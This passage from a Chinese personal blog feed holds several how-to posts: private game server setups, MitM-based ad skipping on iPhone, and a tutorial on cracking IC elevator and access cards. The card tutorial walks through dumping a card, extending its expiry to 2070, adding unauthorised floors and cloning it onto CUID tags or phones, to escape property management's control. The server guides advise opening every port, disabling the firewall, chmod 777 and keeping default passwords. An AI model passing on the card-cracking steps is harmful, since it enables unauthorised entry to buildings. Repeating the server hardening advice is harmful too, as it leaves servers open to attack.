/www/wwwroot</span><br><span class="line">tar -zxvf game.tar.gz</span><br></pre></td></tr></table></figure><h2 id="重新加载-Nginx">重新加载 Nginx</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx -s reload</span><br></pre></td></tr></table></figure><h2 id="设置权限">设置权限</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 755 -R /mnt</span><br><span class="line"><span class="built_in">chmod</span> 777 -R /www/wwwroot/</span><br></pre></td></tr></table></figure><h2 id="修改-IP-地址（任选一种方法）">修改 IP 地址（任选一种方法）</h2><h3 id="方法一：快捷修改">方法一：快捷修改</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">find /mnt -<span class="built_in">type</span> f -name <span class="string">&#x27;*.py&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br><span class="line">find /mnt -<span class="built_in">type</span> f -name <span class="string">&#x27;*.json&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br><span class="line">find /mnt -<span class="built_in">type</span> f -name <span class="string">&#x27;*.plist&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br><span class="line">find /www -<span class="built_in">type</span> f -name <span class="string">&#x27;*.plist&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br><span class="line">find /www -<span class="built_in">type</span> f -name <span class="string">&#x27;*.lua&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br><span class="line">find /www -<span class="built_in">type</span> f -name <span class="string">&#x27;*.view&#x27;</span> | xargs sed -i <span class="string">&#x27;s/192.168.0.120/你的ip/g&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="方法二：手动修改">方法二：手动修改</h3><p>在以下文件中搜索 <code>192.168.0.120</code> 并替换为你的 IP 地址：</p><ul><li><code>/www/wwwroot/game/pokemon/patch/881/res/version.plist</code></li><li><code>/www/wwwroot/game/pokemon/patch/881/src/app.views.login.view</code></li><li><code>/www/wwwroot/zc/index.php</code></li><li><code>/mnt/pokemon/release/login/conf/dev/serv.json</code></li><li><code>/mnt/pokemon/release/login/conf/serv.json</code></li><li><code>/mnt/pokemon/release/login/defines.json</code></li><li><code>/mnt/pokemon/release/game_defines.py</code></li><li><code>/mnt/pokemon/release/payment_defines.py</code></li></ul><h2 id="更新-MD5-和文件大小">更新 MD5 和文件大小</h2><h3 id="文件：version-plist">文件：<code>version.plist</code></h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 复制输出的 MD5 码</span></span><br><span class="line"><span class="built_in">md5sum</span> /www/wwwroot/game/pokemon/patch/881/res/version.plist </span><br><span class="line"><span class="comment"># 获取文件大小</span></span><br><span class="line"><span class="built_in">ls</span> -l /www/wwwroot/game/pokemon/patch/881/res/version.plist  </span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1cf236c1d6bd5145357cdd1c4c733282.png" alt="获取md5和文件大小"></p><p>更新文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 更新 MD5 和大小，然后保存退出</span></span><br><span class="line">/mnt/pokemon/release/login/patch/cn/881.json  </span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/cef491d043a70aebe95059156ea58976.png" alt="更新文件"></p><h3 id="文件：app-views-login-view">文件：<code>app.views.login.view</code></h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 复制输出的 MD5 码</span></span><br><span class="line"><span class="built_in">md5sum</span> /www/wwwroot/game/pokemon/patch/881/src/app.views.login.view  </span><br><span class="line"><span class="comment"># 获取文件大小</span></span><br><span class="line"><span class="built_in">ls</span> -l /www/wwwroot/game/pokemon/patch/881/src/app.views.login.view  </span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ce446a718988a2901a7691149b923196.png" alt="获取md5值和文件大小"></p><p>更新文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/mnt/pokemon/release/login/patch/cn/881.json  </span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/01262e791a786cf94e2967dfaaf0f7c7.png" alt="更新文件"></p><h2 id="创建网站">创建网站</h2><ul><li>IP: 81，目录：<code>/www/wwwroot/game/</code></li><li>IP: 88，目录：<code>/www/wwwroot/zc/</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ac6f2b2ca57d130deec2d0cf9be961f4.png" alt="网站创建"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/0a71b8160d9856221f900ecc1261f4a1.png" alt="第二个网站创建"></li></ul><h2 id="修改数据库密码">修改数据库密码</h2><p>修改为你自己能记得的密码<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3e90f7c58d49687fe729a397485d1a4f.png" alt="修改数据库密码"></p><h2 id="修改-www-wwwroot-sk文件中的密码为上面的数据库密码">修改/www/wwwroot/sk文件中的密码为上面的数据库密码</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b6231c3102685c32bc08a302814924ec.png" alt="修改数据库创建脚本中的密码"></p><h2 id="导入数据库">导入数据库</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /www/wwwroot</span><br><span class="line">./sk</span><br></pre></td></tr></table></figure><h2 id="启动游戏">启动游戏</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /mnt/pokemon/deploy_dev</span><br><span class="line"><span class="built_in">rm</span> supervisor.sock</span><br><span class="line">supervisord -c supervisord.conf</span><br><span class="line">supervisorctl start all</span><br><span class="line">// 查看游戏状态</span><br><span class="line">supervisorctl status</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/08f7a41c4bfc96c787ca99f90aa387cc.png" alt="游戏状态"></p><h2 id="启用失败的单独重启">启用失败的单独重启</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">supervisorctl start xxx</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/15d5ad6e81505deae16c13f9b485ed42.png" alt="image.png"></p><h2 id="停止游戏">停止游戏</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">supervisorctl reload</span><br></pre></td></tr></table></figure><h2 id="客户端修改">客户端修改</h2><h3 id="安卓">安卓</h3><p>路径：<code>\assets\res\version.plist</code><br>windows中直接使用winrar打开，然后将上述文件解压到本地，修改其中的ip为你自己的ip后在拖进去，最后使用签名工具签名即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/13bec2ea91fbfbf575d3a51af5ec50e1.png" alt="winrar打开并提取文件"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b088d5c6813630dcef119f25c34057cb.png" alt="替换ip"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/624ca71a88fc1b697ba6dc6b7569a84c.png" alt="替换apk中文件"></p><p>直接拖到签名工具中签名<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/38052890c883dbe38d9e424d7e1dd16c.png" alt="使用签名工具签名"></p><h3 id="苹果">苹果</h3><p>路径：<code>\Payload\MyLuaGame.app\res\version.plist</code></p><h2 id="注册和登录地址">注册和登录地址</h2><p>下面的<code>root123456</code>是默认密码，可以自己去修改</p><ul><li>注册地址：<code>http://IP:88</code></li><li>管理后台登录：<code>http://IP:31528/login</code> （账号：admin，默认密码：root123456）</li><li>GM 授权后台：<code>http://IP:81/gm/gm.php</code> （默认GM 码：root123456）</li><li>玩家管理：<code>http://IP:81/gm/</code> （默认GM 码：root123456）</li></ul><h2 id="安装">安装</h2><p>安卓可以直接装到手机或者在模拟器中安装游玩。<br>ios需要用爱思助手，使用自己的appleId自签名装入手机中，然后信任证书。</p><h2 id="其他">其他</h2><h3 id="修改服务器区域名称">修改服务器区域名称</h3><p>文件：<code>/mnt/pokemon/release/login/conf/serv.json</code></p><h3 id="更新公告">更新公告</h3><p>文件：<code>/mnt/pokemon/release/login/conf/cn/notice.json</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[前言]&lt;br&gt;
重要的事情说三遍，不要将本资源用于商业行为！不要用于商业行为！不对您的使用负任何责任！本文章以及资源仅供学习研究传播！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;又到周末了，又可以愉快的玩游戏了。但是市面上</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="娱乐" scheme="https://blog.allbs.cn/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>苹果手机通过Loon跳过app开屏广告的教程</title>
    <link href="https://blog.allbs.cn/posts/61666/"/>
    <id>https://blog.allbs.cn/posts/61666/</id>
    <published>2024-07-11T06:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="视频">视频</h2><p>直接看视频就够了，如果有不清楚的看下面的图文教程。b站视频被举报下架了，所以就直接放了，但是因为服务器带宽小，所以可能会卡😂</p><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px; height:467px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"theme":"#FADFA3","loop":true,"video":{"url":"https://nas.allbs.cn:8888/cdn/video/loon跳广告.mp4","pic":"./img/loon.png"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="图文教程">图文教程</h2><h3 id="下载">下载</h3><p>需要使用apple的外区账号，官网注册可以跳过绑定支付方式。需要5.99美刀。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/24ab8e37c1c3636055c15b5b6872aed9.png" alt="下载"></p><h3 id="生成并安装证书">生成并安装证书</h3><p>在<code>设置</code> -&gt; <code>MitM</code>的证书管理点击<code>生成新的证书</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/07cf7dc88ee90439e776f2186d92e03e.png" alt="生成证书"></p><h3 id="安装证书">安装证书</h3><p>在iphone的<code>设置</code> -&gt; <code>通用</code> -&gt;<code>VPN与设备管理</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/99be0883a05f7a713684d6d1a5df0597.png" alt="安装证书"></p><h3 id="信任证书">信任证书</h3><p>在<code>设置</code> -&gt; <code>通用</code> -&gt; <code>关于本机</code> -&gt;<code>证书信任设置</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a1ca99337185d25ced2ea256db2e6071.png" alt="信任证书"></p><h3 id="重新打开Loon配置">重新打开Loon配置</h3><p>将以下三项勾选上<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/f67d17cb9b06dffa9ef871a1e95bec0c.png" alt="打开配置开关"></p><h3 id="导入插件">导入插件</h3><p>手机浏览器打开<br><a href="https://whatshub.top/loon">https://whatshub.top/loon</a></p><p>点击<code>去开屏广告融合版Ultra+</code>自动跳转至<code>Loon</code>制动导入插件，导入完成后可以点击首页的<code>插件</code>查看。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/54fba5ded30bfc776fa12b8adc61a58a.png" alt="导入插件"></p><h3 id="最后打开总按钮就可以愉快的跳过广告啦">最后打开总按钮就可以愉快的跳过广告啦</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a968c5255c23bd6a6ae894e5d0dfffba.png" alt="打开总开关"></p><h3 id="结语">结语</h3><p>这款意外之外是我ui体验最好的一款，功能、ui、交互都让我感觉挺舒服的😂</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;视频&quot;&gt;视频&lt;/h2&gt;
&lt;p&gt;直接看视频就够了，如果有不清楚的看下面的图文教程。b站视频被举报下架了，所以就直接放了，但是因为服务器带宽小，所以可能会卡😂&lt;/p&gt;
&lt;div id=&quot;dplayer0&quot; class=&quot;dplayer hexo-tag-dplaye</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="苹果" scheme="https://blog.allbs.cn/tags/%E8%8B%B9%E6%9E%9C/"/>
    
  </entry>
  
  <entry>
    <title>电梯卡、门禁卡等IC卡破解及复制教程</title>
    <link href="https://blog.allbs.cn/posts/20077/"/>
    <id>https://blog.allbs.cn/posts/20077/</id>
    <published>2024-07-10T01:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[前言]<br>相信很多人有如下的烦恼：有时候忘记带电梯卡了，累死累活爬楼梯感觉掉了半条命。大半夜的忘记带门禁卡，顶着鄙视的眼神叫家人或者保安来开大门。那么有什么办法可以避免呢？考虑到日常手机是不离身的，那么就可以把数据写入手机的方式来解决。</p></blockquote><h2 id="背景">背景</h2><p>写这一篇文章纯粹是朋友突然问到相关的，我考虑了一下大众确实有类似的需求。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/2f47595d1f874ac9ddfcc50c28ebd167.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7ce2b01b9f6628c52d2d4154be280e5f.png" alt="image.png"></p><p>说实话我真没理解啥意思😂，但是本着平时跟客户沟通习惯了，就把所有方案列出来让她选就好了嘛。</p><p>安卓是最简单的，有写入nfc的功能，所以可以把破解后的卡复制到手机里面，通过手机开门。</p><p>苹果比较麻烦，没有nfc的写入功能，只能找比较薄的卡贴，把数据写入进去然后贴在手机上。或者有些apple watch表带中带芯片也可以写入。</p><p>首先我们来区分几种卡。卡也有种类，不同种类不同的用途，写入方式也不一样。下面这些卡的区分是自身理解不一定对，能够明白大概意思就行了。</p><ul><li>ID卡，挺古老的，现在用的不多，一般就存个唯一的卡号，容易复制。以前估计用的多，用来识别不同人考勤之类的。只有特别古老的门禁估计会用，复制也是极简单的，都不用破解。</li><li>IC卡，应用挺多的电梯、公交卡、银行卡，主要是用作身份证明。适用高安全性和数据处理功能的场景，这也是现在大部分门禁用到的。本篇的目的就是对其破解、复制。</li><li>CUID卡，也就是下面我们主要会使用到的卡，安全性低，主要是为了克隆IC卡的唯一ID号（UID)，能够快速制作备用卡和复制卡，也就是上面破解数据的载体。</li><li>磁条卡、cpu卡、SIM卡就不说了，不用考虑到。</li></ul><h2 id="破解门禁">破解门禁</h2><p>这边先说明一下，绝大多数小区的卡是可以破解的，个别除外。据我所知万科的卡没法破解，不过可以让他们帮忙配置到手机里。其他小区物业说不定都是一般年纪大的，让他们写卡，真不一定能搞定。</p><h3 id="准备">准备</h3><p>首先要具备一个ic卡读写器，然后读卡器肯定会配备相应的软件，网上挺多的。买的时候要注意了！！！门禁或者电梯的IC卡也分代数，1&amp;2代卡基本上市面产品读写器都能读出来，3代产品是需要厂家技术支持的，市面上并不是所有的读写器都能读出来！所以买的时候一定一定咨询清楚了！</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/35de3aadd842eb758e1ba99abadda616.jpg" alt="某宝门禁卡读写器"></p><p>我用的是这款</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1081dad16df339fdc547df61e0203651.jpg" alt="读写器"></p><h3 id="使用配套软件进行读卡">使用配套软件进行读卡</h3><p>我用的是物业给的一年期门禁卡。最好是老卡(一或者二代卡)，因为卡升级了并不代表梯控或者门禁设备升级了，那玩意成本高，物业不一定舍得，使用老卡破解后是能够继续用的。<br>解码后内容如下，将数据保存到本地会得到一个.dump文件</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/77cb6ffbe99a50cc28549bb555e2091d.png" alt="解码"></p><h3 id="破解数据">破解数据</h3><p>我用的是IC客栈（要收费还特贵），优点是不用自己去破解了😂<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/aa9e7b4e102bdb4549de30098e4d47aa.png" alt="ic客栈"></p><p>把.dump文件拖到左侧点自动分析或者VIP分析，可以解析出电梯卡或者门禁卡中的数据含义。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/0b3dc033b5d2eacef72e6a54c37032bc.png" alt="数据分析"></p><h3 id="解析并修改">解析并修改</h3><p>在一键修改栏、点击检测，能够得出卡中信息，以我家电梯卡为例：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3394a8e6545d43f8726162e4ab6086a8.png" alt="image.png"></p><p>注意！卡号和发卡号不要修改！改了可能用不了，改卡的到期时间和楼层即可。<br>点击时间图标可以把电梯卡延期到你想要的时间，比如我下面就改到了2070年。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/8e8453142306ad675e9e9993283af7d1.png" alt="image.png"></p><p>第二个时间及楼层修改，下拉框选中第二个，可以看到下方的电梯号05和06，这个代表这个卡在小区能够控制我们这栋楼的编号为05、06两台电梯，右侧的楼层点开后可以修改刷上卡时电梯能够点击的楼层，我家是21楼，上面显示的是20，依次类推，勾选上你想去的楼层即可。修改完成后点击<code>修改</code>按钮左侧数据内容会被改掉，然后将左侧内容保存为一个新的.dump文件。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/95ba72c7e4319fa404a13834cd6f8e09.png" alt="image.png"></p><h3 id="最后写入数据">最后写入数据</h3><p>破解并保存出来的是这样一个.dump文件<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/f71e7f333715509f973b7f464f88f76c.png" alt="破解后的文件"></p><p>导入数据—&gt;写入卡即可<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/a695f211143a566ddf7c2c1987e51078.png" alt="导入数据"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ce410a044d8d840fbc0798b051757473.png" alt="一键写卡"></p><h2 id="写进手机">写进手机</h2><h3 id="安卓">安卓</h3><p>安卓因为具备NFC的写入功能，所以写起来很简单。打开卡包–&gt;新建空白卡–&gt;将卡贴在手机的NFC区域–&gt;读卡并生成一张虚拟门禁卡。这个时候你就可以用手机来解锁门禁和梯控了。<br>手上没有安卓手机就不演示，之前用我妈的手机试过，挺简单的。</p><h3 id="苹果">苹果</h3><p>苹果没有写NFC的功能，所以网上那些用什么公交卡制作啊，快捷方式啊，全是扯淡的。<br>只有一个替代的方法，将破解后的数据写入CUID卡中，然后贴在手机壳上。卡的造型如下：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/4ea81bee3e1ce044ba81b318b4afee34.jpg" alt="NFC贴纸"></p>]]></content>
    
    
    <summary type="html">让你能够通过手机刷电梯，让你的门禁变为永久，不受物业遏制。</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="教程" scheme="https://blog.allbs.cn/tags/%E6%95%99%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title>苹果手机通过圈X跳过app开屏广告的教程</title>
    <link href="https://blog.allbs.cn/posts/12082/"/>
    <id>https://blog.allbs.cn/posts/12082/</id>
    <published>2024-07-09T00:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<p>之前做了小火箭和surge的跳过教程，有小伙伴提出想要看圈X的，反正不差这一个就顺带做了下。具体用法如下:</p><h2 id="操作视频">操作视频</h2><p>这是录得操作视频，可以直接跟着操作即可，有不清楚得可以看下面文字说明。本来是放b站想白嫖带宽的，可是被举报下架了，关键给的理由还很奇怪，说是分享出来大家都没法用了，这玩意本来就没在国区上架啊😂</p><div id="dplayer1" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px; height:467px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer1"),"theme":"#FADFA3","loop":true,"video":{"url":"https://nas.allbs.cn:8888/cdn/video/圈X使用教程.mp4","pic":"./img/圈x.png"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="文字教程">文字教程</h2><h3 id="下载圈X">下载圈X</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/9686e265ebcaaf0187ad58c18c53a529.png" alt="下载圈X"></p><h3 id="生成证书">生成证书</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/85533fa81373cf1abbc2066806957981.png" alt="点右下角按钮"></p><p>先点生成证书，再点配置证书<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/336805fb9a3a4fb2b1a3a53c52eb161d.png" alt="生成证书"></p><p>默认浏览器必须是safari，配置描述文件<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7184275eedbd23479b928d36b574ea55.png" alt="下载配置文件"></p><h3 id="安装证书">安装证书</h3><p>通用-&gt;VPN与设备管理安装描述文件。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/8f3b724c00fd1cdfcb4fd1336ccdacd2.png" alt="安装描述文件"></p><h3 id="打开证书信任">打开证书信任</h3><p>打开通用-&gt;关于本机-&gt;证书信任设置<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/da639f1715c82095ecd0c4e4f44d7377.png" alt="image.png"></p><h3 id="浏览器打开可以安装模块的网站">浏览器打开可以安装模块的网站</h3><p>网站链接:</p><p><a href="https://whatshub.top/quantumultx">https://whatshub.top/quantumultx</a></p><p>实际上这个网站模块功能特别多，字面意思理解，跟跳广告的一样的安装形式，自取所需即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/07828530091149b69c495be8531a268c.png" alt="image.png"></p><h3 id="圈X开始安装模块">圈X开始安装模块</h3><p>可以看到左上角已经在安装了</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/3da0e07f4ae66ad284e6ec6ed268a4af.png" alt="image.png"></p><h3 id="开启功能">开启功能</h3><p>先打开MitM和重写开关。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/09e0a85e7df28f2c3d069ea1b1e6c6e8.png" alt="image.png"></p><p>最后打开主开关并添加VPN<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/2189e5b5ee90b5aeffc600ce18314cfe.png" alt="image.png"></p><p>全部完成后不出意料就可以跳过广告了，具体可以查看视频的演示。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;之前做了小火箭和surge的跳过教程，有小伙伴提出想要看圈X的，反正不差这一个就顺带做了下。具体用法如下:&lt;/p&gt;
&lt;h2 id=&quot;操作视频&quot;&gt;操作视频&lt;/h2&gt;
&lt;p&gt;这是录得操作视频，可以直接跟着操作即可，有不清楚得可以看下面文字说明。本来是放b站想白嫖带宽的，可是被举</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="苹果" scheme="https://blog.allbs.cn/tags/%E8%8B%B9%E6%9E%9C/"/>
    
  </entry>
  
  <entry>
    <title>搭建一个安卓、ios双端可玩的海贼王手游，含GM工具</title>
    <link href="https://blog.allbs.cn/posts/25572/"/>
    <id>https://blog.allbs.cn/posts/25572/</id>
    <published>2024-07-07T01:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[前言]<br>重要的事情说三遍，不要将本资源用于商业行为！不要用于商业行为！本文章以及资源仅供学习研究传播，后续软件使用过程发生的一切问题与我无关哦。</p></blockquote><h2 id="资源的获取">资源的获取</h2><p>给本公众号<code>IT日常</code>发送<code>海贼王</code>即可，请尽快转存，我分享的资源将不定时修改分享链接！</p><h2 id="开始搭建">开始搭建</h2><p>推荐使用虚拟机装，不容易出问题。云服务器和虚拟机除了需要在安全组多开点端口没啥区别。</p><p>虚拟机用的是CenterOs，如果需要安装包给本公众号发送<code>centeros</code>即可。</p><p>虚拟机网络需要设置主机模式，保证跟家里设备网络同在一个网段。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/9e3e371f3810e95b1a553d0b1573a837.png" alt="image.png"></p><p>固定一下虚拟机的ip便于远程连接。因为我家的网段设置的是0，所以有以下配置，根据你们实际情况配置即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b7e638b53a337155a24605b7db8386aa.png" alt="image.png"></p><h3 id="首先安装宝塔面板">首先安装宝塔面板</h3><p>这个只是为了简化一些使用者的操作，并不是必须的，可以自己单独安装<code>Nginx 1.18</code>,<code>MySQL 5.6</code>,<code>php 7.0</code>。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install -y wget &amp;&amp; wget -O install.sh https://download.bt.cn/install/install_6.0.sh &amp;&amp; sh install.sh</span><br></pre></td></tr></table></figure><p>安装完成之后如下<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/67889ee88a38d836ff792fe67390bebc.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/5c72ec93eb4b45f32cba4a3a6e502715.png" alt="image.png"></p><h3 id="开放端口">开放端口</h3><p>记得宝塔和安全组的端口都打开<code>1:65535</code>，我的服务器主要快到期了，什么脚本小子也就无惧了。当然你可以根据需要只打开所需端口。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/2509bb0eeeedc219bacb51347a9e03db.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/52106d38485ff7be71832bd94fcfab11.png" alt="image.png"></p><p>关闭防火墙<br>好同学莫学我，虚拟机或者你的服务器也快到期的话可以这么干。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop firewalld.service</span><br><span class="line">systemctl disable firewalld.service</span><br></pre></td></tr></table></figure><h3 id="上传资源">上传资源</h3><p>将分享给你的文件<code>data.zip</code>上传到服务器根目录<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ca30e63d0dd6ca9d9a217184e6e4c0cc.png" alt="image.png"></p><p>解压</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unzip data.zip</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/19acc76617581b5a624bc7f4ab6c0a26.png" alt="image.png"></p><p>授权</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> -R 777 /data</span><br></pre></td></tr></table></figure><p>安装erl环境</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /usr/lib &amp;&amp; tar -zxvf allbs.tgz</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使其生效</span></span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><h3 id="重启nginx">重启nginx</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/45bb7e96d7048bb80e3787d2e088eba1.png" alt="image.png"></p><h3 id="修改服务端代码ip">修改服务端代码ip</h3><p>使用notepad++的文件查找替换工具将所有的<code>192.168.0.120</code>替换为你部署服务器的ip<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7aea7e7daf095f73c3003b62dfbd1c6a.png" alt=""></p><p>或者手动将这几个文件中的ip替换为你实际的ip<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/c485f21244fffeb26373cdac79853bd5.png" alt="image.png"></p><h3 id="修改文件中的数据库root密码">修改文件中的数据库root密码</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/1fcdd946541376062b54a96e5737e273.png" alt="image.png"></p><p>修改服务器配置文件中的密码，如果你不想修改文件则这边设置<code>root123456</code>，内网无所谓，云服务器一定要注意安全！最好是进行文件替换！<br>如下文件中所有匹配<code>root123456</code>的全部替换为你上面设置的密码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">data\sszg_code\v200408\server\tpl\ctl.sh</span><br><span class="line"></span><br><span class="line">data\sszg_code\www\ht\config.php</span><br><span class="line"></span><br><span class="line">data\sszg_code\www\_init.php</span><br><span class="line"></span><br><span 